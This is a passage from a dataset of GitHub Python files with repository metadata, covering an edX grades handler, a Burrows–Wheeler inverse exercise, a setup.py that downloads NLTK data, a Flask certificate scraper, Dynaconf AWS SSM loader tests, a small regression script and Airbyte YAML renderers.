instructor_id = unicode(current_user.id)\n        else:\n            instructor_id = None\n        tracker.emit(\n            unicode(GRADES_RESCORE_EVENT_TYPE),\n            {\n                'course_id': unicode(kwargs['course_id']),\n                'user_id': unicode(kwargs['user_id']),\n                'problem_id': unicode(kwargs['usage_id']),\n                'new_weighted_earned': kwargs.get('weighted_earned'),\n                'new_weighted_possible': kwargs.get('weighted_possible'),\n                'only_if_higher': kwargs.get('only_if_higher'),\n                'instructor_id': instructor_id,\n                'event_transaction_id': unicode(get_event_transaction_id()),\n                'event_transaction_type': unicode(GRADES_RESCORE_EVENT_TYPE),\n            }\n        )\n","repo_name":"tissx/tissx","sub_path":"lms/djangoapps/grades/signals/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":11212,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"31247457636","text":"# Problem Introduction\n# In the previous problem, we introduced the Burrows–Wheeler transform of a string Text. It permutes the\n# symbols of Text making it well compressible. However, there were no sense in this, if this process would\n# not be reversible. It turns out that it is reversible, and your goal in this problem is to recover Text from\n# BWT(Text).\n\n# Task. Reconstruct a string from its Burrows–Wheeler transform.\n\n# Input Format. A string Transform with a single “$” sign.\n\n# Constraints. 1 ≤ |Transform| ≤ 1 000 000; except for the last symbol, Text contains symbols A, C, G, T\n# only.\n\n# Output Format. The string Text such that BWT(Text) = Transform. (There exists a unique such string.)\n\nimport sys\n\n\n# return a string, after converting the previous task\ndef InverseBWT(bwt):\n    n = len(bwt)\n    # sort symbols alphabetically\n    first = [i for i in bwt]\n    first.sort()\n    matrix = [0 for i in range(n)]\n    # fill the matrix, each row by index is assigned a value from the alphabet sorting and the original BWT line\n    for i in range(n):\n        matrix[i] = [i, first[i], bwt[i]]\n    # sort the rows of the matrix by the characters in bwt string\n    matrix.sort(key=lambda i: i[2])\n    result = []\n    # After sorting, the ordered sequence of indices in column 0 has changed and has taken the form we need\n    # we take indices based on the presented algorithm and add into result corresponding character of initial string\n    t = matrix[0][0]\n    for i in range(n):\n        t = matrix[t][0]\n        result.append(bwt[t])\n    return result\n\n\nif __name__ == '__main__':\n    bwt = sys.stdin.readline().strip()\n    print(*InverseBWT(bwt), sep=\"\")\n\n# Example of input:\n# AGGGAA$\n# Output:\n# GAGAGA$\n","repo_name":"IlyaAleksandrov/Algorithms-and-Data-Structures","sub_path":"4 Algorithms on Strings/4.2 Burrows-Wheeler Transform and Suffix Arrays/Tasks/bwtinverse/bwtinverse.py","file_name":"bwtinverse.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29289492712","text":"#!/usr/bin/env python\n\nimport sys\nimport os\nimport re\nfrom setuptools import setup, find_packages\nfrom setuptools.command.install import install as _install\nfrom setuptools.command.develop import develop as _develop\n\n\nclass Install(_install):\n    def run(self):\n        _install.run(self)\n        import nltk\n        nltk.download('wordnet')  # for nlpnorm\n        nltk.download('averaged_perceptron_tagger')  # for nlpnorm\n        nltk.download('omw-1.4')  # for nlpnorm test?\n        nltk.download('stopwords')  # for source.rfcdoc\n\n\nclass Develop(_develop):\n    def run(self):\n        _develop.run(self)\n        import nltk\n        nltk.download('wordnet')  # for nlpnorm\n        nltk.download('averaged_perceptron_tagger')  # for nlpnorm\n        nltk.download('omw-1.4')  # for nlpnorm test?\n        nltk.download('stopwords')  # for source.rfcdoc\n\n\ndef load_readme():\n    with open('README.rst', 'r') as fd:\n        return fd.read()\n\n\ndef load_requirements():\n    \"\"\"Parse requirements.txt\"\"\"\n    reqs_path = os.path.join('.', 'requirements.txt')\n    with open(reqs_path, 'r') as fd:\n        requirements = [line.rstrip() for line in fd]\n    return requirements\n\n\npackage_name = 'amulog-semantics'\nmodule_name = 'amsemantics'\ndata_dir = \"/\".join((module_name, \"data\"))\n\nsys.path.append(\"./tests\")\n# data_files = [\"/\".join((data_dir, fn)) for fn in os.listdir(data_dir)]\n\ninit_path = os.path.join(os.path.dirname(__file__), module_name, '__init__.py')\nwith open(init_path) as f:\n    version = re.search(\"__version__ = '([^']+)'\", f.read()).group(1)\n\nsetup(\n    name=package_name,\n    version=version,\n    description='Semantic analysis extension of amulog',\n    long_description=load_readme(),\n    author='Satoru Kobayashi <sat@nii.ac.jp>, Kazuki Otomo <otomo@hongo.wide.ad.jp>',\n    author_email='sat@nii.ac.jp',\n    url='https://github.com/amulog/amulog-semantics/',\n    install_requires=load_requirements(),\n    classifiers=[\n        'Development Status :: 4 - Beta',\n        'Environment :: Console',\n        'Intended Audience :: Information Technology',\n        'Intended Audience :: Science/Research',\n        \"Intended Audience :: Developers\",\n        'License :: OSI Approved :: BSD License',\n        \"Operating System :: OS Independent\",\n        'Programming Language :: Python :: 3.6',\n        'Topic :: Scientific/Engineering :: Information Analysis',\n        'Topic :: Software Development :: Libraries :: Python Modules'],\n    cmdclass={\"develop\": Develop,\n              \"install\": Install},\n    license='The 3-Clause BSD License',\n  \n    packages=find_packages(),\n#    package_data={'amsemantics': data_files},\n    include_package_data=True,\n)\n","repo_name":"amulog/amulog-semantics","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2663,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"17082393843","text":"from flask import Flask, render_template, request, jsonify, url_for\nimport requests\nfrom lxml import html\nfrom packing import packing_list\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef hello_world():\n    return render_template(\"index.html\")\n\n\n@app.route(\"/get_info\", methods=[\"POST\"])\ndef get_info():\n    code = request.form['code']\n    code = code.upper()\n    batch = request.form['batch']\n\n    cookie = dict(\n        Cookie=\"özel-cookie\")\n\n    page = requests.get(\"http://scharlab.com/coa-form.php?r=\" + code + \"&b=\" + batch + \"&u=&c=kullanici\", headers=cookie)\n\n    page_html = html.fromstring(page.content)\n\n    coa_sample_link = page_html.xpath('//*[@id=\"content\"]/div/div[2]/section/div[4]/div[2]/a/@href')\n\n    if not batch == '':\n        coa_link = page_html.xpath('//*[@id=\"content\"]/div/div[2]/section/div[6]/div/div[2]/div/a/@href')\n    else:\n        coa_link = [\"None\"]\n\n    index = 0\n\n    last_code = code\n\n    while len(coa_sample_link) == 0:\n        try:\n            code += packing_list[index]\n            code = code.upper()\n            page = requests.get(\"http://scharlab.com/coa-form.php?r=\" + code + \"&b=\" + batch + \"&u=&c=kullanici\",\n                                headers=cookie)\n            page_html = html.fromstring(page.content)\n            coa_sample_link = page_html.xpath('//*[@id=\"content\"]/div/div[2]/section/div[4]/div[2]/a/@href')\n            if packing_list[index] in code:\n                code = code.replace(packing_list[index], \"\")\n            index += 1\n        except IndexError:\n            break\n\n    while len(coa_link) == 0:\n        try:\n            code += packing_list[index]\n            last_code = code\n            code = code.upper()\n            page = requests.get(\"http://scharlab.com/coa-form.php?r=\" + code + \"&b=\" + batch + \"&u=&c=kullanici\",\n                                headers=cookie)\n            page_html = html.fromstring(page.content)\n            coa_link = page_html.xpath('//*[@id=\"content\"]/div/div[2]/section/div[6]/div/div[2]/div/a/@href')\n            if packing_list[index] in code:\n                code = code.replace(packing_list[index], \"\")\n            index += 1\n        except IndexError:\n            break\n\n    download_sample_link = \"http://scharlab.com/\" + coa_sample_link[0]\n    download_link = \"http://scharlab.com/\" + coa_link[0]\n\n    hata = \"Sertifika bulunamadı. Ürün kodunu doğru yazdığınızdan emin olun.\"\n\n    tds_link = code[:6] + \"_TDS_EN.pdf\"\n    msds_link = code[:6] + \"_EN.pdf\"\n\n    coa_filename = coa_link[0].split(\"=\")[-1]\n    coa_sample_filename = coa_sample_link[0].split(\"=\")[-1]\n\n    return jsonify(code=code, last_code=last_code, batch=batch, dl_sample_link=download_sample_link, dl_link=download_link,\n                   tds=url_for(\"static\", filename=\"tds/\" + tds_link),\n                   msds=url_for(\"static\", filename=\"msds/\" + msds_link), error=hata, coa_s_fn=coa_sample_filename,\n                   coa_fn=coa_filename, tds_fn=tds_link, msds_fn=msds_link)\n\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"undercontr/certificate_of_analysis","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21663342711","text":"\"\"\"\nTests for the loader, sans Dynaconf wrapper\n\"\"\"\n\nfrom datetime import datetime\nimport logging\nfrom dynaconf.base import Settings\nimport pytest\n\nfrom botocore.stub import Stubber\n\nfrom dynaconf_aws_loader.loader import (\n    get_client,\n    build_env_list,\n    _fetch_single_parameter,\n    _fetch_all_parameters,\n    load,\n)\n\n\n@pytest.fixture\ndef stubbed_client(mocker):\n    \"\"\"\n    Use ``boto3`` stubbed client for testing purposes.\n\n    The stub must be activated before usage.\n    \"\"\"\n\n    settings = mocker.MagicMock()\n    data = {\"SSM_ENDPOINT_URL_FOR_DYNACONF\": None, \"SSM_SESSION_FOR_DYNACONF\": {}}\n    settings.get.side_effect = data.get\n    client = get_client(settings)\n\n    return Stubber(client)\n\n\ndef test_get_client_default(mocker):\n    \"\"\"Return a constructed ``boto3`` client for SSM.\"\"\"\n\n    settings = mocker.MagicMock()\n    data = {\"SSM_ENDPOINT_URL_FOR_DYNACONF\": None, \"SSM_SESSION_FOR_DYNACONF\": {}}\n    settings.get.side_effect = data.get\n\n    client = get_client(obj=settings)\n\n    # Defaults\n    assert client.meta.endpoint_url == \"http://localhost:4566\"\n\n\ndef test_get_client_custom_endpoint(mocker):\n    \"\"\"\n    Get a ``boto3`` client for SSM but with a custom endpoint\n    \"\"\"\n    settings = mocker.MagicMock()\n    data = {\n        \"SSM_ENDPOINT_URL_FOR_DYNACONF\": \"http://example.com:5555\",\n        \"SSM_SESSION_FOR_DYNACONF\": {},\n    }\n    settings.get.side_effect = data.get\n\n    client = get_client(obj=settings)\n    assert client.meta.endpoint_url == \"http://example.com:5555\"\n    assert client.meta.region_name == \"us-east-1\"\n\n\ndef test_get_client_custom_boto3_session_parameters(mocker):\n    \"\"\"\n    Get a ``boto3`` client for SSM but with custom parameters for Session\n    \"\"\"\n    settings = mocker.MagicMock()\n    data = {\n        \"SSM_SESSION_FOR_DYNACONF\": {\n            \"region_name\": \"us-west-1\",\n        },\n    }\n    settings.get.side_effect = data.get\n\n    client = get_client(obj=settings)\n    assert client.meta.region_name == \"us-west-1\"\n\n\ndef test_build_basic_env_list_without_default(mocker):\n    \"\"\"Build list of environments for loader to use as path segments\"\"\"\n\n    settings = mocker.MagicMock()\n    data = {\n        \"SSM_LOAD_DEFAULT_ENV_FOR_DYNACONF\": False,\n    }\n    settings.get.side_effect = data.get\n    result = build_env_list(settings, env=\"testing\")\n\n    assert list(result) == [\"testing\"]\n\n\n@pytest.mark.parametrize(\"env_name\", [\"default\", \"staging\"])\ndef test_build_basic_env_list_from_settings_with_default(mocker, env_name):\n    \"\"\"Build list of environments for loader based on environments with default\"\"\"\n\n    settings = mocker.MagicMock()\n    data = {\n        \"SSM_LOAD_DEFAULT_ENV_FOR_DYNACONF\": True,\n        \"DEFAULT_ENV_FOR_DYNACONF\": env_name,\n    }\n    settings.get.side_effect = data.get\n\n    result = build_env_list(settings, env=\"testing\")\n    assert list(result) == [env_name, \"testing\"]\n\n\ndef test_build_basic_env_list_from_settings_do_not_load_default(mocker):\n    \"\"\"Build environment list, but ignore default even if set.\"\"\"\n\n    settings = mocker.MagicMock()\n    data = {\n        \"SSM_LOAD_DEFAULT_ENV_FOR_DYNACONF\": False,\n        \"DEFAULT_ENV_FOR_DYNACONF\": \"do-not-load-me\",\n    }\n    settings.get.side_effect = data.get\n\n    result = build_env_list(settings, env=\"testing\")\n    assert list(result) == [\"testing\"]\n\n\ndef test_fetch_single_parameter_missing(stubbed_client, caplog):\n    \"\"\"\n    Fetch a single parameter from SSM, but it doesn't exist.\n\n    Ensure that our logger captures this information.\n    \"\"\"\n\n    stubbed_client.add_client_error(\n        \"get_parameter\", service_error_code=\"ParameterNotFound\"\n    )\n\n    with stubbed_client:\n        with pytest.raises(stubbed_client.client.exceptions.ParameterNotFound):\n            with caplog.at_level(logging.INFO, logger=\"dynaconf.aws_loader\"):\n                _fetch_single_parameter(\n                    stubbed_client.client,\n                    project_prefix=\"foobar\",\n                    env_name=\"testing\",\n                    key=\"baldur\",\n                    silent=False,\n                )\n\n    assert caplog.record_tuples == [\n        (\n            \"dynaconf.aws_loader\",\n            logging.INFO,\n            \"Parameter with path /foobar/testing/baldur does not exist in AWS SSM.\",\n        )\n    ]\n\n\ndef test_fetch_all_parameters_missing(stubbed_client, caplog):\n    \"\"\"\n    Fetch all parameters nested under a path hierarchy, but said hierarchy\n    does not exist.\n\n    Ensure that our logger captures this information.\n    \"\"\"\n\n    stubbed_client.add_client_error(\n        \"get_parameters_by_path\", service_error_code=\"ParameterNotFound\"\n    )\n\n    with stubbed_client:\n        with pytest.raises(stubbed_client.client.exceptions.ParameterNotFound):\n            with caplog.at_level(logging.INFO, logger=\"dynaconf.aws_loader\"):\n                _fetch_all_parameters(\n                    stubbed_client.client,\n                    project_prefix=\"foobar\",\n                    env_name=\"testing\",\n                    silent=False,\n                )\n\n    assert caplog.record_tuples == [\n        (\n            \"dynaconf.aws_loader\",\n            logging.INFO,\n            \"Parameter with path /foobar/testing does not exist in AWS SSM.\",\n        )\n    ]\n\n\ndef test_fetch_single_parameter(stubbed_client):\n    \"\"\"Fetch a single parameter from SSM.\"\"\"\n\n    stubbed_response = {\n        \"Parameter\": {\n            \"Name\": \"/foobar/testing/baldur\",\n            \"Type\": \"String\",\n            \"Value\": \"gate\",\n            \"Version\": 1,\n            \"LastModifiedDate\": datetime(2015, 1, 1),\n            \"ARN\": \"fake::arn\",\n            \"DataType\": \"text\",\n        }\n    }\n    expected_params = {\"Name\": \"/foobar/testing/baldur\", \"WithDecryption\": True}\n\n    stubbed_client.add_response(\"get_parameter\", stubbed_response, expected_params)\n\n    with stubbed_client:\n        result = _fetch_single_parameter(\n            stubbed_client.client,\n            project_prefix=\"foobar\",\n            env_name=\"testing\",\n            key=\"baldur\",\n        )\n\n    assert result == \"gate\"\n\n\ndef test_fetch_all_parameters_by_path(stubbed_client):\n    \"\"\"Fetch all parameters by hierarchical path from SSM.\"\"\"\n\n    stubbed_response = {\n        \"Parameters\": [\n            {\n                \"Name\": \"/foobar/testing/database/host\",\n                \"Type\": \"String\",\n                \"Value\": \"localhost\",\n                \"Version\": 1,\n                \"LastModifiedDate\": datetime(2015, 1, 1),\n                \"ARN\": \"fake::arn\",\n                \"DataType\": \"text\",\n            },\n            {\n                \"Name\": \"/foobar/testing/database/port\",\n                \"Type\": \"String\",\n                \"Value\": \"5432\",\n                \"Version\": 1,\n                \"LastModifiedDate\": datetime(2015, 1, 1),\n                \"ARN\": \"fake::arn\",\n                \"DataType\": \"text\",\n            },\n            {\n                \"Name\": \"/foobar/testing/debug\",\n                \"Type\": \"String\",\n                \"Value\": \"@bool True\",\n                \"Version\": 1,\n                \"LastModifiedDate\": datetime(2015, 1, 1),\n                \"ARN\": \"fake::arn\",\n                \"DataType\": \"text\",\n            },\n        ],\n    }\n\n    expected_params = {\n        \"Path\": \"/foobar/testing\",\n        \"Recursive\": True,\n        \"WithDecryption\": True,\n    }\n\n    stubbed_client.add_response(\n        \"get_parameters_by_path\", stubbed_response, expected_params\n    )\n\n    with stubbed_client:\n        result = _fetch_all_parameters(\n            stubbed_client.client,\n            project_prefix=\"foobar\",\n            env_name=\"testing\",\n        )\n\n    assert result == {\"database\": {\"host\": \"localhost\", \"port\": 5432}, \"debug\": True}\n\n\ndef test_load(mocker, stubbed_client):\n    \"\"\"Straightforward test of main functionality of AWS SSM loader\"\"\"\n\n    settings = Settings(\n        SSM_LOAD_DEFAULT_ENV_FOR_DYNACONF=False,\n        SSM_PARAMETER_PROJECT_PREFIX_FOR_DYNACONF=\"foobar\",\n    )\n\n    stubbed_response = {\n        \"Parameters\": [\n            {\n                \"Name\": \"/foobar/testing/database/host\",\n                \"Type\": \"String\",\n                \"Value\": \"localhost\",\n                \"Version\": 1,\n                \"LastModifiedDate\": datetime(2015, 1, 1),\n                \"ARN\": \"fake::arn\",\n                \"DataType\": \"text\",\n            },\n            {\n                \"Name\": \"/foobar/testing/database/port\",\n                \"Type\": \"String\",\n                \"Value\": \"5432\",\n                \"Version\": 1,\n                \"LastModifiedDate\": datetime(2015, 1, 1),\n                \"ARN\": \"fake::arn\",\n                \"DataType\": \"text\",\n            },\n            {\n                \"Name\": \"/foobar/testing/debug\",\n                \"Type\": \"String\",\n                \"Value\": \"@bool True\",\n                \"Version\": 1,\n                \"LastModifiedDate\": datetime(2015, 1, 1),\n                \"ARN\": \"fake::arn\",\n                \"DataType\": \"text\",\n            },\n        ],\n    }\n\n    expected_params = {\n        \"Path\": \"/foobar/testing\",\n        \"Recursive\": True,\n        \"WithDecryption\": True,\n    }\n\n    stubbed_client.add_response(\n        \"get_parameters_by_path\", stubbed_response, expected_params\n    )\n\n    mocker.patch(\n        \"dynaconf_aws_loader.loader.get_client\", return_value=stubbed_client.client\n    )\n\n    with stubbed_client:\n        load(settings, env=\"testing\")\n\n    assert settings.DATABASE.HOST == \"localhost\"\n    assert settings.DATABASE.PORT == 5432\n    assert settings.DEBUG == True\n","repo_name":"fictivekin/dynaconf-aws-loader","sub_path":"tests/test_loader.py","file_name":"test_loader.py","file_ext":"py","file_size_in_byte":9450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15579081968","text":"import pandas as pd\nimport joblib\ndataset = pd.read_csv('dataset.csv')\nx=dataset['YearsExperience']\ny=dataset['Salary']\nX=x.values.reshape(-1,1)\nfrom sklearn.linear_model import LinearRegression\nmodel = LinearRegression()\nmodel.fit(X, y)\njoblib.dump(model , 'trainedmodel.pkl')\nmodel=joblib.load('trainedmodel.pkl')\nexp=4.5\nprint(model.predict([[exp]]))","repo_name":"webdevprashant/train-save-ml-model-docker-jenkins","sub_path":"task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"4963395086","text":"import json\n\nfrom .cls_db import cls_dbAktionen\n\nclass cls_readMappings():\n    def __init__(self, file):\n        with open(file) as json_file:\n            self.db = cls_dbAktionen()\n            self.truncateTable(\"gherkin_mapping\")\n            self.mappingData = json.load(json_file)\n            print(self.mappingData)\n            for regel in self.mappingData['mappings']:\n                print(regel['feldAuftrag'], regel['zielDb'])\n                parameterList = [regel['feldAuftrag'], regel['zielDb'], regel['zielFeld'], regel['bedingung'], regel['regel']]\n                sql = \"insert into gherkin_mapping (feldAuftrag, zielDb, zielFeld, bedingung, regel) values (%s, %s, %s, %s, %s)\"\n                self.db.execSql(sql, parameterList)\n\n    def truncateTable(self, table):\n        sql = \"truncate \" + str(table)\n        self.db.execSql(sql, '')\n\n\nif __name__ == \"__main__\":\n    x = cls_readMappings()","repo_name":"franny2006/rzp-git","sub_path":"app/classes/cls_readMappings.py","file_name":"cls_readMappings.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20224440191","text":"import abc\nimport os\nfrom pathlib import Path\nfrom typing import Any, Callable, List\n\nimport click\nimport yaml\nfrom airbyte_api_client.model.airbyte_catalog import AirbyteCatalog\nfrom jinja2 import Environment, PackageLoader, Template, select_autoescape\nfrom octavia_cli.apply import resources\nfrom slugify import slugify\n\nfrom .definitions import BaseDefinition, ConnectionDefinition\nfrom .yaml_dumpers import CatalogDumper\n\nJINJA_ENV = Environment(loader=PackageLoader(__package__), autoescape=select_autoescape(), trim_blocks=False, lstrip_blocks=True)\n\n\nclass FieldToRender:\n    def __init__(self, name: str, required: bool, field_metadata: dict) -> None:\n        \"\"\"Initialize a FieldToRender instance\n        Args:\n            name (str): name of the field\n            required (bool): whether it's a required field or not\n            field_metadata (dict): metadata associated with the field\n        \"\"\"\n        self.name = name\n        self.required = required\n        self.field_metadata = field_metadata\n        self.one_of_values = self._get_one_of_values()\n        self.object_properties = get_object_fields(field_metadata)\n        self.array_items = self._get_array_items()\n        self.comment = self._build_comment(\n            [\n                self._get_secret_comment,\n                self._get_required_comment,\n                self._get_type_comment,\n                self._get_description_comment,\n                self._get_example_comment,\n            ]\n        )\n        self.default = self._get_default()\n\n    def __getattr__(self, name: str) -> Any:\n        \"\"\"Map field_metadata keys to attributes of Field.\n        Args:\n            name (str): attribute name\n        Returns:\n            [Any]: attribute value\n        \"\"\"\n        if name in self.field_metadata:\n            return self.field_metadata.get(name)\n\n    @property\n    def is_array_of_objects(self) -> bool:\n        if self.type == \"array\" and self.items:\n            if self.items.get(\"type\") == \"object\":\n                return True\n        return False\n\n    def _get_one_of_values(self) -> List[List[\"FieldToRender\"]]:\n        \"\"\"An object field can have multiple kind of values if it's a oneOf.\n        This functions returns all the possible one of values the field can take.\n        Returns:\n            [list]: List of oneof values.\n        \"\"\"\n        if not self.oneOf:\n            return []\n        one_of_values = []\n        for one_of_value in self.oneOf:\n            properties = get_object_fields(one_of_value)\n            one_of_values.append(properties)\n        return one_of_values\n\n    def _get_array_items(self) -> List[\"FieldToRender\"]:\n        \"\"\"If the field is an array of objects, retrieve fields of these objects.\n        Returns:\n            [list]: List of fields\n        \"\"\"\n        if self.is_array_of_objects:\n            required_fields = self.items.get(\"required\", [])\n            return parse_fields(required_fields, self.items[\"properties\"])\n        return []\n\n    def _get_required_comment(self) -> str:\n        return \"REQUIRED\" if self.required else \"OPTIONAL\"\n\n    def _get_type_comment(self) -> str:\n        if isinstance(self.type, list):\n            return \", \".join(self.type)\n        return self.type if self.type else None\n\n    def _get_secret_comment(self) -> str:\n        return \"SECRET (please store in environment variables)\" if self.airbyte_secret else None\n\n    def _get_description_comment(self) -> str:\n        return self.description if self.description else None\n\n    def _get_example_comment(self) -> str:\n        example_comment = None\n        if self.examples:\n            if isinstance(self.examples, list):\n                if len(self.examples) > 1:\n                    example_comment = f\"Examples: {', '.join([str(example) for example in self.examples])}\"\n                else:\n                    example_comment = f\"Example: {self.examples[0]}\"\n            else:\n                example_comment = f\"Example: {self.examples}\"\n        return example_comment\n\n    def _get_default(self) -> str:\n        if self.const:\n            return self.const\n        if self.airbyte_secret:\n            return f\"${{{self.name.upper()}}}\"\n        return self.default\n\n    @staticmethod\n    def _build_comment(comment_functions: Callable) -> str:\n        return \" | \".join(filter(None, [comment_fn() for comment_fn in comment_functions])).replace(\"\\n\", \"\")\n\n\ndef parse_fields(required_fields: List[str], fields: dict) -> List[\"FieldToRender\"]:\n    return [FieldToRender(f_name, f_name in required_fields, f_metadata) for f_name, f_metadata in fields.items()]\n\n\ndef get_object_fields(field_metadata: dict) -> List[\"FieldToRender\"]:\n    if field_metadata.get(\"properties\"):\n        required_fields = field_metadata.get(\"required\", [])\n        return parse_fields(required_fields, field_metadata[\"properties\"])\n    return []\n\n\nclass BaseRenderer(abc.ABC):\n    @property\n    @abc.abstractmethod\n    def TEMPLATE(\n        self,\n    ) -> Template:  # pragma: no cover\n        pass\n\n    def __init__(self, resource_name: str) -> None:\n        self.resource_name = resource_name\n\n    @classmethod\n    def get_output_path(cls, project_path: str, definition_type: str, resource_name: str) -> Path:\n        \"\"\"Get rendered file output path\n        Args:\n            project_path (str): Current project path.\n            definition_type (str): Current definition_type.\n            resource_name (str): Current resource_name.\n        Returns:\n            Path: Full path to the output path.\n        \"\"\"\n        directory = os.path.join(project_path, f\"{definition_type}s\", slugify(resource_name, separator=\"_\"))\n        if not os.path.exists(directory):\n            os.makedirs(directory)\n        return Path(os.path.join(directory, \"configuration.yaml\"))\n\n    @staticmethod\n    def _confirm_overwrite(output_path):\n        \"\"\"User input to determine if the configuration paqth should be overwritten.\n        Args:\n            output_path (str): Path of the configuration file to overwrite\n        Returns:\n            bool: Boolean representing if the configuration file is to be overwritten\n        \"\"\"\n        overwrite = True\n        if output_path.is_file():\n            overwrite = click.confirm(\n                f\"The configuration octavia-cli is about to create already exists, do you want to replace it? ({output_path})\"\n            )\n        return overwrite\n\n    @abc.abstractmethod\n    def _render(self):  # pragma: no cover\n        \"\"\"Runs the template rendering.\n        Raises:\n            NotImplementedError: Must be implemented on subclasses.\n        \"\"\"\n        raise NotImplementedError\n\n    def write_yaml(self, project_path: Path) -> str:\n        \"\"\"Write rendered specification to a YAML file in local project path.\n        Args:\n            project_path (str): Path to directory hosting the octavia project.\n        Returns:\n            str: Path to the rendered specification.\n        \"\"\"\n        output_path = self.get_output_path(project_path, self.definition.type, self.resource_name)\n        if self._confirm_overwrite(output_path):\n            with open(output_path, \"w\") as f:\n                rendered_yaml = self._render()\n                f.write(rendered_yaml)\n        return output_path\n\n    def import_configuration(self, project_path: str, configuration: dict) -> Path:\n        \"\"\"Import the resource configuration. Save the yaml file to disk and return its path.\n        Args:\n            project_path (str): Current project path.\n            configuration (dict): The configuration of the resource.\n        Returns:\n            Path: Path to the resource configuration.\n        \"\"\"\n        rendered = self._render()\n        data = yaml.safe_load(rendered)\n        data[\"configuration\"] = configuration\n        output_path = self.get_output_path(project_path, self.definition.type, self.resource_name)\n        if self._confirm_overwrite(output_path):\n            with open(output_path, \"wb\") as f:\n                yaml.safe_dump(data, f, default_flow_style=False, sort_keys=False, allow_unicode=True, encoding=\"utf-8\")\n        return output_path\n\n\nclass ConnectorSpecificationRenderer(BaseRenderer):\n    TEMPLATE = JINJA_ENV.get_template(\"source_or_destination.yaml.j2\")\n\n    def __init__(self, resource_name: str, definition: BaseDefinition) -> None:\n        \"\"\"Connector specification renderer constructor.\n        Args:\n            resource_name (str): Name of the source or destination.\n            definition (BaseDefinition): The definition related to a source or a destination.\n        \"\"\"\n        super().__init__(resource_name)\n        self.definition = definition\n\n    def _parse_connection_specification(self, schema: dict) -> List[List[\"FieldToRender\"]]:\n        \"\"\"Create a renderable structure from the specification schema\n        Returns:\n            List[List[\"FieldToRender\"]]: List of list of fields to render.\n        \"\"\"\n        if schema.get(\"oneOf\"):\n            roots = []\n            for one_of_value in schema.get(\"oneOf\"):\n                required_fields = one_of_value.get(\"required\", [])\n                roots.append(parse_fields(required_fields, one_of_value[\"properties\"]))\n            return roots\n        else:\n            required_fields = schema.get(\"required\", [])\n            return [parse_fields(required_fields, schema[\"properties\"])]\n\n    def _render(self) -> str:\n        parsed_schema = self._parse_connection_specification(self.definition.specification.connection_specification)\n        return self.TEMPLATE.render(\n            {\"resource_name\": self.resource_name, \"definition\": self.definition, \"configuration_fields\": parsed_schema}\n        )\n\n\nclass ConnectionRenderer(BaseRenderer):\n\n    TEMPLATE = JINJA_ENV.get_template(\"connection.yaml.j2\")\n    definition = ConnectionDefinition\n    KEYS_TO_REMOVE_FROM_REMOTE_CONFIGURATION = [\n        \"connection_id\",\n        \"name\",\n        \"source_id\",\n        \"destination_id\",\n        \"latest_sync_job_created_at\",\n        \"latest_sync_job_status\",\n        \"source\",\n        \"destination\",\n        \"is_syncing\",\n        \"operation_ids\",\n        \"catalog_id\",\n        \"catalog_diff\",\n    ]\n\n    def __init__(self, connection_name: str, source: resources.Source, destination: resources.Destination) -> None:\n        \"\"\"Connection renderer constructor.\n        Args:\n            connection_name (str): Name of the connection to render.\n            source (resources.Source): Connection's source.\n            destination (resources.Destination): Connections's destination.\n        \"\"\"\n        super().__init__(connection_name)\n        self.source = source\n        self.destination = destination\n\n    @staticmethod\n    def catalog_to_yaml(catalog: AirbyteCatalog) -> str:\n        \"\"\"Convert the source catalog to a YAML string.\n        Args:\n            catalog (AirbyteCatalog): Source's catalog.\n        Returns:\n            str: Catalog rendered as yaml.\n        \"\"\"\n        return yaml.dump(catalog.to_dict(), Dumper=CatalogDumper, default_flow_style=False)\n\n    def _render(self) -> str:\n        yaml_catalog = self.catalog_to_yaml(self.source.catalog)\n        return self.TEMPLATE.render(\n            {\n                \"connection_name\": self.resource_name,\n                \"source_configuration_path\": self.source.configuration_path,\n                \"destination_configuration_path\": self.destination.configuration_path,\n                \"catalog\": yaml_catalog,\n                \"supports_normalization\": self.destination.definition.normalization_config.supported,\n                \"supports_dbt\": self.destination.definition.supports_dbt,\n            }\n        )\n\n    def import_configuration(self, project_path: Path, configuration: dict) -> Path:\n        \"\"\"Import the connection configuration. Save the yaml file to disk and return its path.\n        Args:\n            project_path (str): Current project path.\n            configuration (dict): The configuration of the connection.\n        Returns:\n            Path: Path to the connection configuration.\n        \"\"\"\n        rendered = self._render()\n        data = yaml.safe_load(rendered)\n        data[\"configuration\"] = {k: v for k, v in configuration.items() if k not in self.KEYS_TO_REMOVE_FROM_REMOTE_CONFIGURATION}\n        if \"operations\" in data[\"configuration\"] and len(data[\"configuration\"][\"operations\"]) == 0:\n            data[\"configuration\"].pop(\"operations\")\n        [\n            operation.pop(field_to_remove, \"\")\n            for field_to_remove in [\"workspace_id\", \"operation_id\"]\n            for operation in data[\"configuration\"].get(\"operations\", {})\n        ]\n        output_path = self.get_output_path(project_path, self.definition.type, self.resource_name)\n        if self._confirm_overwrite(output_path):\n            with open(output_path, \"wb\") as f:\n                yaml.safe_dump(data, f, default_flow_style=False, sort_keys=False, allow_unicode=True, encoding=\"utf-8\")\n        return output_path\n","repo_name":"airbytehq/airbyte","sub_path":"octavia-cli/octavia_cli/generate/renderers.py","file_name":"renderers.py","file_ext":"py","file_size_in_byte":12928,"program_lang":"python","lang":"en","doc_type":"code","stars":12323,"dataset":"github-code","pt":"35"}
